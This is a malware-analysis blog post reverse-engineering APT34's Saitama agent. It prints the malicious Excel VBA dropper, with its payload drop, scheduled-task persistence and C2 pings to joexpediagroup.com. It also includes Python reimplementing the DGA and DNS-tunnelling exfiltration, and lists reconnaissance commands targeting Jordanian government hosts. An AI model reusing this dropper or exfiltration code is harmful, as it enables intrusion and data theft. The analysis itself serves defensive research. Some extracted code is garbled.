# APT34 - Saitama Agent **x-junior.github.io/malware analysis/2022/06/24/Apt34.html** ### Mohamed Ashraf Malware Analysis & Reverse Engineering & Cryptography 37 minute read ## Introduction June 24, 2022 The spear phishing email contained a malicious attachment and the malicious attachment droppes APT34 malware named Saitama . What interesting in this sample and set it apart from average malware that it’s using a unique DNS tunneling and stateful programming ( finite state machine ). ## Stage 1 - Excel Document The attached Excel file contains a malicious VBA macro . The document has an image that tries to convince the victim to enable a macro. After enabling the macro, the image is replaced with a one of the Jordan government ministrie’s logo . ----- Using olevba to get an overview of what the VBA does and extract the macro. It seems it drops and execute a file. ----- Here is the macro after renaming the variable to make it more readable and easy to understand. ----- ``` p ( y p g, y g, y cc As Integer, ByVal vr As Integer, ByVal ca As Long, ByRef pr As Integer, ByRef pg As LongPtr, ByRef par As Variant) As Long Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" (Dst As Any, Src As Any, ByVal BLen As LongPtr) Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (ByRef Var() As Any) As LongPtr Dim random_number As String #If Win64 Then Const LS As LongPtr = 8& #Else Const LS As LongPtr = 4& #End If Private Sub WorkbrootFolderk_Open() GoTo s1 Sheets("Confirmation Receive Document").Visible = True Sheets("Confirmation Receive Documents").Visible = False 'Sheets("TeamViewer Licenses").Visible = True 'Sheets("TeamViewer License").Visible = False Exit Sub s1: Sheets("Confirmation Receive Documents").Visible = True Sheets("Confirmation Receive Document").Visible = False ' Generate 4 digit random rumber random_number = CStr(Int((10000 * Rnd()))) eNotif "zbabz" ' Create object file Set fs = CreateObject("Scripting.FileSystemObject") ' Create the TaskService object. Set service = CreateObject("schedule.service") Call service.Connect Dim rootFolder On Error Resume Next ' Get the task folder that contains the tasks. Set rootFolder = service.GetFolder("\") eNotif "zbbbz" On Error Resume Next ' If mouse device is connected If Application.MouseAvailable Then drop_path = LCase(Environ("localappdata")) & "\MicrosoftUpdate\" If Dir(drop_path, vbDirectory) = "" Then MkDir drop_path End If ' drop_path = \AppData\Local\MicrosoftUpdate\ ' drop following files in drop_path malware = drop_path & "update.exe" config = drop_path & "update.exe.config" DLL = drop_path & "Microsoft.Exchange.WebServices.dll" Set objXMLDoc = CreateObject("Microsoft.XMLDOM") Set objXmlNode = objXMLDoc.createElement("tmp") objXmlNode.DataType = "bin.base64" objXmlNode.Text = UserForm1.Label1.Caption b64_decoded = objXmlNode.NodeTypedValue Dim FileNumber As Integer FileNumber = FreeFile Open malware For Binary Lock Read Write As #FileNumber ``` ----- ``` y () y Decoded_bytes = b64_decoded Put #FileNumber, 1, Decoded_bytes Close #FileNumber eNotif "zbaez" objXmlNode.Text = UserForm2.Label1.Caption b64_decoded = objXmlNode.NodeTypedValue FileNumber = 0 FileNumber = FreeFile Open config For Binary Lock Read Write As #FileNumber Decoded_bytes = b64_decoded Put #FileNumber, 1, Decoded_bytes Close #FileNumber eNotif "zbbez" objXmlNode.Text = UserForm3.Label1.Caption b64_decoded = objXmlNode.NodeTypedValue FileNumber = 0 FileNumber = FreeFile Open DLL For Binary Lock Read Write As #FileNumber Decoded_bytes = b64_decoded Put #FileNumber, 1, Decoded_bytes Close #FileNumber eNotif "zbcez" ' Create object file Set objFSO = CreateObject("Scripting.FileSystemObject") If Not objFSO.FileExists(malware) Then eNotif "zbdez" Test eNotif "zbeez" End If End If eNotif "zbafz" Dim xmlText As String xmlText = "Microsoft CorporationMicrosoft Important Update PT4M" & Format(DateAdd("n", 1, Now()), "yyyy-mmddThh:nn:ss") & "trueInteractiveTokenLeastPrivilege Parallel false falsetrue truefalse" xmlText = xmlText & "PT10MPT1H truetruefalse falsefalseP20D 7""" & ofp & """ " & drop_path & "" ' Paramters: 6 =>TASK_CREATE_OR_UPDATE, 3=> TASK_LOGON_INTERACTIVE_TOKEN) Call rootFolder.RegisterTask("MicrosoftUpdate", xmlText, 6,,, 3) eNotif "zbbfz" End Sub Sub Test() Set objXMLDoc = CreateObject("Microsoft.XMLDOM") Set objXmlNode = objXMLDoc.createElement("tmp") objXmlNode.DataType = "bin.base64" objXmlNode.Text = word.Label.Caption b64_decoded = objXmlNode.NodeTypedValue ``` ----- ``` Dim decoded_bytes() As Byte decoded_bytes = b64_decoded ' VBA code for calling AppDomain.Load using raw vtable lookups for the IUnknown ' Upon searching the next line, the following link pop ups https://gist.github.com/monoxgas/1b36031c5593ebfed3229f4424f77090 Dim host As New mscoree.CorRuntimeHost, dom As AppDomain host.Start host.GetDefaultDomain dom Dim vRet As Variant, lRet As Long Dim vTypes(0 To 1) As Integer Dim vValues(0 To 1) As LongPtr Dim pPArry As LongPtr: pPArry = VarPtrArray(decoded_bytes) Dim pArry As LongPtr RtlMoveMemory pArry, ByVal pPArry, LS Dim vWrap: vWrap = pArry vValues(0) = VarPtr(vWrap) vTypes(0) = 16411 Dim pRef As LongPtr: pRef = 0 Dim vWrap2: vWrap2 = VarPtr(pRef) vValues(1) = VarPtr(vWrap2) vTypes(1) = 16396 lRet = DispCallFunc(ObjPtr(dom), 45 * LS, 4, vbLong, 2, vTypes(0), vValues(0), vRet) Dim aRef As mscorlib.assembly RtlMoveMemory aRef, pRef, LS aRef.CreateInstance "Saitama.Agent.Program" End Sub Function eNotif(tMsg) 'tMsg = "zbbfz","zbafz","zbeez","zbdez","zbcez","zbbez","zbaez", "zbbbz", "zbabz" GetIPfromHostName("qw" & tMsg & random_number & ".joexpediagroup.com") End Function Function GetIPfromHostName(p_sHostName) As String On Error GoTo o5 Dim wmiQuery Dim objWMIService Dim objPing Dim objStatus ' Win32_PingStatus WMI class represents the values returned by the standard ping command. wmiQuery = "Select * From Win32_PingStatus Where Address = '" & p_sHostName & "'" ' Creating a WMI instance to query information in the cimv2 category. Set objWMIService = GetObject("winmgmts:\\.\root\cimv2") Set objPing = objWMIService.ExecQuery(wmiQuery) For Each objStatus In objPing If objStatus.StatusCode = 0 Then GetIPfromHostName = objStatus.ProtocolAddress Else GetIPfromHostName = "Unreachable" End If Next GoTo o6 o5: GetIPfromHostName = "someting wrong" o6: End Function ``` ----- ## Macro Capabilities 1. Hides the current sheet and shows the new sheet that contains one of the Jordan government ministry’s logo. 2. Calls the `eNotif function at every step of the macro execution notifying the C2 with the execution progress. To send` a notification it builds different subdomains each step .The domain consists of the following parts qw + 5 chars ``` changes depending on the macro stage that identify the macro current stage + 4 random digits + .joexpediagroup.com .It uses the WMI to ping the C2 server. ``` 3. Checks if there is a mouse connected ( avoiding automated analysis ) and if so it Create three files a malicious PE file is created and dropped in `%LocalAppData%\MicrosoftUpdate\update.exe, A configuration file is created and` dropped in `%LocalAppData%\MicrosoftUpdate\update.exe.config, And the third file dropped in` ``` %LocalAppData%\MicrosoftUpdate\Microsoft.Exchange.WebServices.dll, was signed and clean. The files ``` content is in base64 encoded in the excel sheet, by reading the content of the UserForm1.label1, UserForm2.label1 and UserForm3.label1 they are in base64 format, decodes them and writes them into the created files respectively. 4. Checking that the malicious PE file was successfully created and if not for any reason, it writes it using a technique that loads a DotNet assembly directly using mscorlib and Assembly.Load by manually accessing the VTable of the [IUnknown. This technique was taken from Github. This technique was not used in this macro since the file was already](https://gist.github.com/monoxgas/1b36031c5593ebfed3229f4) Created, although the function is trying to decode content from word.Label.Caption and it supposed to be UserForm1.label1 instead, which actually contains nothing, so it’s a useless function,and the developer was just testing this technique . 5. The macro creates a persistence method for update.exe file. This is done by setting a scheduled task under the name of the MicrosoftUpdate . ## Scheduled Task I commented the xml to be easily understandable. ----- ``` g Microsoft Corporation Microsoft Important Update PT4M " & Format(DateAdd("n", 1, Now()), "yyyy-mm-ddThh:nn:ss") & " true InteractiveToken LeastPrivilege Parallel false false true true PT10M PT1H true true false false false P20D 7 """ & Malware & """ " & drop_path & " ``` ----- ## Macro States Notifications **C2 Serve** **State** qwzbabz[fourdigits].joexpediagroup[.]com qwzbbbz[fourdigits].joexpediagroup[.]com qwzbaez[fourdigits].joexpediagroup[.]com qwzbbez[fourdigits].joexpediagroup[.]com qwzbcez[fourdigits].joexpediagroup[.]com qwzbdez[fourdigits].joexpediagroup[.]com qwzbeez[fourdigits].joexpediagroup[.]com qwzbafz[fourdigits].joexpediagroup[.]com qwzbbfz[fourdigits].joexpediagroup[.]com ## Dropped Configuration Stage2 .net Malicious File Macro started Connected successfully to task scheduler to get the task folder that contains the tasks Malware created Config created DLL created If the malware is not created Create malware if not created Task scheduler configuration Scheduled task created Before digging in, we can get an overview about what the malware can do . it seems it can execute commands, compress / decompress capabilities, and it have a pseudorandom number generator . I will start explaining the least interesting parts first. ----- ## Mutex The malware creates a mutex object `726a06ad-475b-4bc6-8466-f08960595f1e to avoid having more than one instance` running. If instance of the malware is already running therefore malware exits. ## Machine States The malware utilizes the concept of finite state machine . The makeup of a finite state machine consists of the following: 1. A set of potential input events. 2. A set of probable output events that correspond to the potential input events. 3. A set of expected states the system can exhibit. 4 The machine can either move to the next state or stay in the same state ----- In the following figure, the machine start in a state called `Door Closed, if event called` `opening the door happens the` machine state changes to `Door open . So our malware although have some states and events that make it move to other` states to do malicious activity. We can see a dictionary of transactions definitions and an initialization to the current state as `Beign, as example if the` current machine state is `Begin and we have a command telling us to` `Start then we are updating the current machine` state to `Alive as seen below, we will get a better understanding of the states idea while we are going through our` analysis. Here is a table of all possible states and transactions : **Current Machine State** **Machine Command** **New Machine State** Begin Start Alive Sleep Start Alive Alive Failed Sleep (21600000- 28800000) Alive HasData Receive Receive Failed Sleep (40000-80000) ----- **Current Machine State** **Machine Command** **New Machine State** Receive DataReceived Do Do Failed SecondSleep (1800000- 2700000) Do HasResult Send Send Failed Sleep (40000-80000) Send HasData SendAndReceive Send DataSended Do Send DataSendedAndHasData Receive SendAndReceive Failed Sleep (40000-80000) SendAndReceive DataReceived Send SendAndReceive DataSended Receive SendAndReceive DataSendedAndReceived Do SecondSleep Start Alive We have 8 states, every state have a certain value as seen below : **MachineState** **Values** MachineState Begin 0 MachineState Sleep 1 MachineState Alive 2 MachineState Receive 3 MachineState Do 4 MachineState Send 5 MachineState SendAndReceive 6 MachineState SecondSleep 7 So after initializing the current `MachineState as` `Beign, it enters the first case` `Begin and the current machine state will` change to `Alive and start doing it’s malicious activity .` ## Configuration The malware Loades random number into counter variable, initializes domains, and a list of byte array called `listData` ----- Here is some variables in config class and its values which we will see being used in other classes. **Variable** **Value** Config.DelayMinAlive 21600000 Config.DelayMaxAlive 28800000 Config.DelayMinCommunicate 40000 Config.DelayMaxCommunicate 80000 Config.DelayMinSecondCheck 1800000 Config.DelayMaxSecondCheck 2700000 Config.DelayMinRetry 300000 Config.DelayMaxRetry 420000 Config.MaxTry 7 Config.TaskExecTimeout 10800000 Config.SendCount 12 Config.CharsDomain “abcdefghijklmnopqrstuvwxyz0123456789” Config.CharsCounter “razupgnv2w01eos4t38h7yqidxmkljc6b9f5” Config.FirstAliveKey “haruto” Config._AgentID null Config._MaxCounter 46656 Before discussing the more important parts. lets first discuss two states `SleepAlive and` `SleepSecond` ## SleepAlive The malware can sleep for very long time by calling MakeDelay. `SleepAlive state simply sleeps for certain time then` return machine command start, so after sleeping the `MahcineState will be` `Alive . you can check the table of states and` commands . ----- ## SleepSecond Same as `SleepAlive except for the argument getting passed to` `MakeDleay fuction.` ## MakeDelay The possible arguments for MakeDelay are: **DelayType** **Values** Enums.DelayType Alive 0 Enums.DelayType Communicate 1 Enums.DelayType SecondCheck 2 Enums.DelayType Retry 3 Depending on the argument being passed, it initializes min and max values with certain values discussed above in config table . then get a random number between min and max and that random value will be the time to sleep . ----- MakeDelay is called in other states although . ## Alive State Lets start making things a little bit interesting . This malware uses DNS tunneling to communicate with its C2 as we will see everything the malware need from the C2 is built into the DNS request. The first state the malware gets in is `Alive . First` the malware checks if an `AgentId exist which is not, and then call` `TryMe with` `_FirstAlive function as argument .` ``` TryMe takes a function as an argument, and try to execute the function that is passed to it, until it return success or the ``` number of tries exceeded `MaxTry, between every try the malware sleep for some time using` `MakeDelay . If number of` tries exceeded `MaxTry the malware adds 1 to the counter that was initialized in the first place .` ``` FirstAlive constructs a subdomain by passing FirstAlive parameter which is 0 and FirstAliveKey which is haruto to the DomainMaker and try to connect to it and get its address . ``` There are other possible arguments for the first parameter: **DomainType** **Values** ----- **DomainType** **Values** Enums.DomainType FirstAlive 0 Enums.DomainType Send 1 Enums.DomainType Receive 2 Enums.DomainType SendAndReceive 3 Enums.DomainType MainAlive 4 ## Python Implementation of the DGA ----- ``` p import base64 CharsDomain = "abcdefghijklmnopqrstuvwxyz0123456789" CharsCounter = "razupgnv2w01eos4t38h7yqidxmkljc6b9f5" class RandomMersenneTwister(): def __init__(self, c_seed=5489): (self.w, self.n, self.m, self.r) = (32, 624, 397, 31) self.a = 0x9908B0DF (self.u, self.d) = (11, 0xFFFFFFFF) (self.s, self.b) = (7, 0x9D2C5680) (self.t, self.c) = (15, 0xEFC60000) self.l = 18 self.f = 1812433253 self.MT = [0 for i in range(self.n)] self.index = self.n+1 self.lower_mask = 0x7FFFFFFF self.upper_mask = 0x80000000 self.c_seed = c_seed self.seed(c_seed) def seed(self, num): self.MT[0] = num self.index = self.n for i in range(1, self.n): temp = self.f * (self.MT[i-1] ^ (self.MT[i-1] >> (self.w-2))) + i self.MT[i] = temp & 0xffffffff def twist(self): for i in range(0, self.n): x = (self.MT[i] & self.upper_mask) + \ (self.MT[(i+1) % self.n] & self.lower_mask) xA = x >> 1 if (x % 2) != 0: xA = xA ^ self.a self.MT[i] = self.MT[(i + self.m) % self.n] ^ xA self.index = 0 def extract_number(self): if self.index >= self.n: self.twist() y = self.MT[self.index] y = y ^ ((y >> self.u) & self.d) y = y ^ ((y << self.s) & self.b) y = y ^ ((y << self.t) & self.c) y = y ^ (y >> self.l) self.index += 1 return y & 0xffffffff def GetRandomRange(self, minn, maxx): num = maxx - minn randnum = self.extract_number() return minn + (randnum % num) def ConvertIntToDomain(value): text = "" length = len(CharsDomain) while 1: ``` ----- ``` [ g ] value //= length if value <= 0: break return text def PadLeft(text,totalWidth,paddingChar): if totalWidth < len(text): return text return paddingChar*(totalWidth-len(text)) + text def ConvertIntToCounter(value): text = "" length = len(CharsCounter) while 1: text = CharsCounter[value % length] + text value //= length if value <= 0: break return text def MapBaseSubdomainCharacters( data, shuffle): text = "" for i in range(len(data)): text += shuffle[CharsDomain.index(data[i])]; return text def Shuffle(seed): CharsDomain = "abcdefghijklmnopqrstuvwxyz0123456789" randomMersenneTwister = RandomMersenneTwister(seed) length = len(CharsDomain) text2 = "" for i in range(length): randomRange = randomMersenneTwister.GetRandomRange(0,len(CharsDomain)) text2 += CharsDomain[randomRange]; CharsDomain = CharsDomain.replace(CharsDomain[randomRange],'') return text2 ## Domain Generation ``` The `DomainMaker uses a pseudorandom number generator and other functions seen in the above code .I wont discusses` them since the implementation is clear and easy to understand . Since our state is `Alive and we are trying to generate its subdomain, once a subdomain is generated, the malware` randomly chooses one of three domains to concatenate with `joexpediagroup[.]com, asiaworldremit[.]com, or` ``` uber-asia[.]com . ``` Steps for generating subdomains : 1. Convert DomainType which is int to character and append data passed to it which is `haruto .` 2. Use the counter that was randomly generated as a seed to MersenneTwister to generate random numbers and return 36 random char and numbers. 3. Map step 1 output to the shuffled chars . 4. Convert seed ( counter ) to char and pad it with the first char in `CharCounter .` 5. Then append a random domain from the 3 that exists `joexpediagroup.com,` `asiaworldremit.com,` `uber-` ``` asia.com . ``` 6. Generated domain = step 3 output + step 4 output + step 5 output 7. The counter is increased if the malware was successfully connected to the generated domain . ----- As example let the counter (seed) be 6537, we can see the generated subdomain in the following snippet: ``` seed = 6537 FirstAliveKey = "haruto" shuffle = Shuffle(seed) domain = ConvertIntToDomain(0) + FirstAliveKey Domain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + "." print(Domain + " [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]") qtqbkz1gay. [ joexpediagroup.com | asiaworldremit.com |uber-asia.com ] ``` If the malware successfully got the IP of the domain generated, it sets the last octet of the address in `AgentId ex: if the IP` address is 127.0.0.1 so the `AgentId will be 1, which will be used in` `DomainMaker for other states. Back to` `Alive` function, if it was successfully connected to the generated domain and `AgentId is set, it calls` `MainAlive . We can` enumerate all possible subdomains to be generated from `FirstAlive by enumerating all possible seeds until 46656 ( max` counter). ``` for seed in range(46656): FirstAliveKey = "haruto" shuffle = Shuffle(seed) domain = ConvertIntToDomain(0) + FirstAliveKey Domain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + "." print(Domain + " [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]") ## Quick Recap ``` Before we continue our analysis lets recap what already happened and put those pieces together . 1. Mutex created . 2. Machine States dictionary create which control the states transaction, and every state do different job . ----- 3. Config intialized . 4. First state is `Begin and a command` `Start` changes state to `Alive .` 5. Try to call `FirstAlive untill it succeed or exceed maximum tries.` 6. `FirstAlive generate subdomain as discussed above .` 7. `MainAlive is called .` Let’s dig into `MainAlive state .` ## MainAlive State The malware generate different subdomains constructed with the following steps: 1. Convert `AgentId to character .` 2. Use the counter that was randomly generated as a seed to MersenneTwister to generate random numbers and return 36 random char and numbers. 3. Map step 1 output to the shuffled chars . 4. Convert seed ( counter ) to char and pad it with the first char in `CharCounter .` 5. Then append a random domain from the 3 that exists `joexpediagroup.com,` `asiaworldremit.com,` `uber-` ``` asia.com . ``` 6. Generated domain = step 3 output + step 4 output + step 5 output . 7. The counter is increased if the malware was successfully connected to the generated domain . As example let the `AgentID be 203, we can see the generated subdomain in the following snippet:` ``` seed = 6538 agent_id = 203 shuffle = Shuffle(seed) domain = ConvertIntToDomain(agent_id) Domain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + "." print(Domain + " [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]") 6agaq. [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ] ``` When DNS is queried for a domain, a DNS server returns an IP address that points to the requested domain. The malware then checks the first octet of the IP address to ensure the value is at least 128 to be considered valid. Perhaps this is a way for the malware to avoid internal IP addresses. If the first octet value is at least 128 to, then initialize the data size that will be received by taking the last 3 octet s and that will be the size. ex : if the IP address is 129.90.100.200 then the size would be : 0x5a64c8 ----- If successfully connected to the generated domain and first octet of the IP is at least 128 then the `MachineState will go to` ``` Receive state. ``` We can enumerate all possible domain to be generated from `MainAlive state` `11897280 possible domain by` enumerating the all possible seeds until 46656 and `AgentId until 255.` ``` for seed in range(46656): for agent_id in range(255): shuffle = Shuffle(seed) domain = ConvertIntToDomain(agent_id) Domain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + "." print(Domain + " [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]") ## Receive State ``` This state fetches the C2 server, expecting to receive a command. The malware generate different subdomains constructed with the following steps: 1. Passed data = converted `RecieveByteIndex to char padded with the first char in` `CharDomain .` 2. Convert domaintype to character and + the converted `AgentId to character + data passed.` 3. Use the counter that was randomly generated as a seed to MersenneTwister to genrate random numbers and return 36 random char and numbers. 4. Map step 1 to the shuffled chars . 5. Convert seed ( counter ) to char and pad it with the first char in `CharCounter .` 6. Then append a random domain from the 3 that exists `joexpediagroup.com,` `asiaworldremit.com,` `uber-` ``` asia.com . ``` 7. Generated domain = step 4 output + step 5 output + step 6 output 8. The counter is increased if the malware was successfully connected to the generated domain . ----- Here is how the domain is generated : ``` seed = 6539 AgentID = 203 domainType = 2 ReceiveByteIndex = 0 data = PadLeft(ConvertIntToDomain(0),3,CharsDomain[0]) shuffle = Shuffle(seed) domain = ConvertIntToDomain(domainType) + ConvertIntToDomain(AgentID) + data Domain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + "." print(Domain + " [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]") aq3888gai. [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ] ``` If successfully connected to the generated domain, the malware start processing the received data by converting the IP address to byte array and add it `ListData . Since the max number of bytes could be received from one connection is 4. so` multiple connections needed if more than 4 bytes would be received . The first octet will be task type and the rest will be the command only if the `Received Size is 4. If it’s more than that, the first octet of the first IP address of the generated` domain will be the task type and IP addresses from the other generated domains will just be appended to it . After all data have been received the malware move to new state `Do .` ## Do State As we can see `tasktype was assigned the first octet and the others octets assigned to` `array2, we have 5 task types .` so it might write a file on disk, if data was compressed then it will be decompressed then written to the file. The malware can although execute a built in command or other commands sent by the C2. If a file is going to be written then a path should be specified,so the path of the file will be the bytes of `array2 from beginning until it match a` `| char, and the other bytes are` the file content . ----- Task types : **TaskType** **Values** Enums.TaskType Static 43 Enums.TaskType Cmd 70 Enums.TaskType CompressedCmd 71 Enums.TaskType File 95 Enums.TaskType CompressedFile 96 If the malware going to execute one of the built in commands, an interesting non-cryptographic hashing function (FNV-1a) computes the command number, actually it just related to performance and C# compiler and not how the malware operate . ## Built in Commands ----- Some of commands are common reconnaissance but some of them are not that common. Some of the commands contain internal IPs and also internal domain names . That indicates that the actor has some previous knowledge about the internal infrastructure of the Organization . These commands are executed through PowerShell or through CMD . **Command** **Number** **Interpreter** **Payload** **Impact** 1 PowerShell Get-NetIPAddress -AddressFamily IPv4 | Select-Object IPAddresss 2 PowerShell Get-NetNeighbor -AddressFamily IPv4 | Select-Object IPADDress Gets IP address for all IPv4 addresses on the computer. Gets information about the neighbor cache for IPv4, Gets neighbor cache information only about a specific neighbor IP address. 3 CMD whoami Display the domain and user name of the person who is currently logged on to this computer 4 PowerShell [System.Environment]::OSVersion.VersionString OS veriosn 5 CMD net user List of every user account, active or not, on the computer you're currently using. 7 PowerShell Get-ChildItem -Path "C:\Program Files" | Select-Object Name 8 PowerShell Get-ChildItem -Path 'C:\Program Files (x86)' | SelectObject Name List folders under C:\Program Files installed programes List folders under C:\Program Files (x86) installed programes 9 PowerShell Get-ChildItem -Path 'C:' | Select-Object Name List folders under C 10 CMD hostname Display the name of the computer 11 PowerShell Get-NetTCPConnection | Where-Object {$_.State -eq "Established"} | Select-Object "LocalAddress", "LocalPort", "RemoteAddress", "RemotePort" 12 PowerShell $(ping -n 1 10.65.4.50 | findstr /i ttl) -eq $null; $(ping -n 1 10.65.4.51 | findstr /i ttl) -eq $null; $(ping -n 1 10.65.65.65 | findstr /i ttl) -eq $null; $(ping -n 1 10.65.53.53 | findstr /i ttl) -eq $null;$(ping -n 1 10.65.21.200 | findstr /i ttl) -eq $null 13 PowerShell nslookup ise-posture.mofagov.gover.local | findstr /i Address;nslookup webmail.gov.jo | findstr /i Address 14 PowerShell $(ping -n 1 10.10.21.201 | findstr /i ttl) -eq $null;$(ping -n 1 10.10.19.201 | findstr /i ttl) -eq $null;$(ping -n 1 10.10.19.202 | findstr /i ttl) -eq $null;$(ping -n 1 10.10.24.200 | findstr /i ttl) -eq $null 15 PowerShell $(ping -n 1 10.10.10.4 | findstr /i ttl) -eq $null; $(ping -n 1 10.10.50.10 | findstr /i ttl) -eq $null; $(ping -n 1 10.10.22.50 | findstr /i ttl) -eq $null; $(ping -n 1 10.10.45.19 | findstr /i ttl) -eq $null 16 PowerShell $(ping -n 1 10.65.51.11 | findstr /i ttl) -eq $null;$(ping -n 1 10.65.6.1 | findstr /i ttl) -eq $null;$(ping -n 1 10.65.52.200 | findstr /i ttl) -eq $null;$(ping -n 1 10.65.6.3 | findstr /i ttl) -eq $null 17 PowerShell $(ping -n 1 10.65.45.18 | findstr /i ttl) -eq $null; $(ping -n 1 10.65.28.41 | findstr /i ttl) -eq $null; $(ping -n 1 10.65.36.13 | findstr /i ttl) -eq $null; $(ping -n 1 10.65.51.10 | findstr /i ttl) -eq $null Gets all TCP connections that have an Established state. Checking if these internal IPs are alive Get IP Address of the domains iseposture.mofagov.gover.local and nslookup webmail.gov.jo Checking if these internal IPs are alive Checking if these internal IPs are alive Checking if these internal IPs are alive Checking if these internal IPs are alive ----- 18 PowerShell $(ping -n 1 10.10.22.42 | findstr /i ttl) -eq $null;$(ping -n 1 10.10.23.200 | findstr /i ttl) -eq $null;$(ping -n 1 10.10.45.19 | findstr /i ttl) -eq $null;$(ping -n 1 10.10.19.50 | findstr /i ttl) -eq $null 19 PowerShell $(ping -n 1 10.65.45.3 | findstr /i ttl) -eq $null;$(ping -n 1 10.65.4.52 | findstr /i ttl) -eq $null;$(ping -n 1 10.65.31.155 | findstr /i ttl) -eq $null;$(ping -n 1 iseposture.mofagov.gover.local | findstr /i ttl) -eq $null 20 PowerShell Get-NetIPConfiguration | Foreach IPv4DefaultGateway | Select-Object NextHop 21 PowerShell Get-DnsClientServerAddress -AddressFamily IPv4 | Select-Object SERVERAddresses Checking if these internal IPs are alive Checking if these internal IPs are alive Gets network configuration, including usable interfaces, IP addresses, and DNS servers. IPv4DefaultGateway, Gets default gatewayes for all interfaces Gets all DNS server IP addresses associated with the interfaces on the computer only ipv4. 22 CMD systeminfo | findstr /i \"Domain\" Get domain name The result of the executed command is stored in `resultData and char` `= is appended at the first if the data is` compressed else char 9, then pass it to `ReadySend function which assign the` `resultData to` `SendData .` ## Send State After getting the result from the command execution the malware need a way to send it to the C2. This is how the malware exfiltrated the data. It may look like a simple DNS request in a network log, but the exfiltrated data is actually built into the DNS request, the malware send 12 bytes at time or less if there is no full 12 bytes to send. ----- If it s the first time to send part from the `ResultDate, The malware generate different subdomains constructed with the` following steps: 1. Passed data = converted `SendByteIndex to char and pad it with the first char in` `CharDomain + converted` ``` SendDataSize to char and pad it with the first char in CharDomain + base32 encode of the resultData . ``` 2. Convert domaintype to character and + the converted `AgentId to character + data passed.` 3. Use the counter that was randomly generated as a seed to MersenneTwister to generate random numbers and return 36 random char and numbers. 4. Map step 1 output to the shuffled chars . 5. Convert seed ( counter ) to char and pad it with the first char in `CharCounter .` 6. Then append random domain form the 3 that exists `joexpediagroup.com,` `asiaworldremit.com,` `uber-` ``` asia.com ``` 7. Generated domain = step 5 output + step 6 output + step 6 output 8. The counter is increased if the malware was successfully connected to the generated domain . If it’s not the first time, the malware generate different subdomains constructed with the following steps: 1. Passed data = converted `SendByteIndex to char and pad it with the first char in` `CharDomain + base32 encode of` the resultData . 2. Convert domaintype to character and + the converted `AgentId to character + data passed.` 3. Use the counter that was randomly generated as a seed to MersenneTwister to generate random numbers and return 36 random char and numbers. 4. Map step 1 output to the shuffled chars .. 5. Convert seed ( counter ) to char and pad it with the first char in `CharCounter .` 6. Then append random domain form the 3 that exists `joexpediagroup.com,` `asiaworldremit.com,` `uber-` ``` asia.com ``` 7. Generated domain = step 4 output + step 5 output + step 6 output 8. The counter is increased if the malware was successfully connected to the generated domain . If successfully connected to the generated domain, it check if there is data to be received and if there is still more data to be sent the machine will go to `SendAndReceive state.` ----- For simplicity we consider the data to be send not compressed . The generated subdomain will be like : ``` seed = 6540 AgentID = 203 SendAndReceive = 1 SendDataSize = 38 SendByteIndex = 0 val = SendDataSize - SendByteIndex; num = min(12, val); SendData = b'9We Are Breaking APT34 In This Report!' # 9 indicates that it's not compressed SendData = base64.b32encode(SendData[SendByteIndex:num]).replace(b"=",b"").lower().decode() data = PadLeft(ConvertIntToDomain(SendByteIndex),3,CharsDomain[0]) + PadLeft(ConvertIntToDomain(SendDataSize),3,CharsDomain[0]) + SendData shuffle = Shuffle(seed) domain = ConvertIntToDomain(SendAndReceive) + ConvertIntToDomain(AgentID) + data Domain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + "." print(Domain + " [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]") 1mcllll1zvmu259z1hxnnlsfnawssgad. ``` If it isn’t the first time to send part of the data . The generated subdomain will be like : : ----- ``` AgentID = 203 SendAndReceive = 3 SendDataSize = 38 SendByteIndex = 12 # send next 12 bytes val = SendDataSize - SendByteIndex; num = min(12, val); SendData = b'9We Are Breaking APT34 In This Report!' SendData = base64.b32encode(SendData[SendByteIndex:SendByteIndex+num]).replace(b"=",b"").lower().decode() data = PadLeft(ConvertIntToDomain(SendDataSize),3,CharsDomain[0]) + SendData shuffle = Shuffle(seed) domain = ConvertIntToDomain(SendAndReceive) + ConvertIntToDomain(AgentID) + data Domain = MapBaseSubdomainCharacters(domain, shuffle) + PadLeft(ConvertIntToCounter(seed),3,CharsCounter[0]) + "." print(Domain + " [ joexpediagroup.com | asiaworldremit.com | uber-asia.com ]") dgxmnu11rfyvvmcgcgcavr6n6wgax. ``` So how the C2 will know what is the data sent !, Here is a little example demonstrating it . ----- ``` g g y Seed = 0 DomainTypes = { "a":"FirstAlive", "b":"Send" ,"c":"Receive" ,"d":"SendAndReceive" ,"e":"MainAlive"} dict = { 57:"Not Compressed", 61:"Compressed"} def MapBaseSubdomainCharacters_inverse(data, shuffle): text = "" CharsDomain = "abcdefghijklmnopqrstuvwxyz0123456789" for i in data: text += CharsDomain[shuffle.find(i)] return text # Get Seed for i in range(46656): if Domain[-3:] == PadLeft(ConvertIntToCounter(i),3,CharsCounter[0]): Seed = i break shuffle = Shuffle(Seed) Domain_Inv = MapBaseSubdomainCharacters_inverse(Domain[:-3],shuffle) domaintype = Domain_Inv[0] data = Domain_Inv[-20:] # for the frist connection we know SendByteIndex will be 0 which is equal to aaa after converting it to char and pad it SendByteIndex_offset = Domain_Inv.find("aaa") AgentId = Domain_Inv[1:SendByteIndex_offset] DataSize = Domain_Inv[SendByteIndex_offset+3:SendByteIndex_offset+6] # Get AgentId for i in range(255): if AgentId == ConvertIntToDomain(i): AgentId = i break # Get DataSize for i in range(255): # size can exceed 255 of course if DataSize == 